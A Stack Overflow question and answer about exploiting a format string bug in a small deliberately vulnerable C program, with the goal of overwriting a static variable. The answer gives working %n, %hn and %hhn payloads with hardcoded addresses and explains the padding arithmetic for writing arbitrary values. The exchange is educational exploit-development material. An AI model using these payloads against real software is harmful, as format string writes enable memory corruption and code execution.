2

I'm trying to set the value of a variable using Format String exploit. I was able to change the variable by the value of the length of the string using the modifier %n.

code

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
    char buffer[100];
    static int a=77;
    strcpy(buffer, argv[1]);
    printf(buffer);
    printf("address a = 0x%08x, [0x%08x]\n", &a, a);
    printf("a = %d\n", a);
return 0;
}

after

./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n

address a = 0x080498c4, [0x00000034]
a = 52

How can I change a variable set to a negative value, for example "a = -1"?

P.S. I found out that this can be done with %u.

The Vee
  • 11,420
  • 5
  • 27
  • 60
NK99Dev
  • 61
  • 7
  • Welcome to SO. You are very unclear, what you want to achieve. Your title is about using wrong format specifier (%u vs -1). Your question mentions some exploit to modify a value. Format specifiers may change the printed output, but they will not change the value in any variable. – Gerhardh Oct 14 '17 at 10:28

1 Answers1

2

Just use the trick that's described by the end of the first section in the linked article. This comprises splitting the value -1 (0xFFFFFFFFF) into lower and upper word (twice 0xFFFF) and writing these separately to addresses &a and (void*)(&a)+2:

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn"

Explained:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a

The number 7 comes from your previous command:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
                            1^  2^  3^  4^  5^  6^7^

and I stored one more address, so that gets stacked at position 8.

This still makes a lot of output, you can go one step further and write 0xFFFFFFFF byte by byte. It would look like this:

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8\$hhn ... the same for the second
%9\$hhn ... the same for the third
%10\$hhn ... the same for the last

Numbers other than 0xFFFFFFFF need some extra output between each %hhn. You need to compute how many garbage bytes to output between them to make up for the respective differences. If you need to go below the previous value use the fact that only a byte is written so the arithmetic goes modulo 256.

The Vee
  • 11,420
  • 5
  • 27
  • 60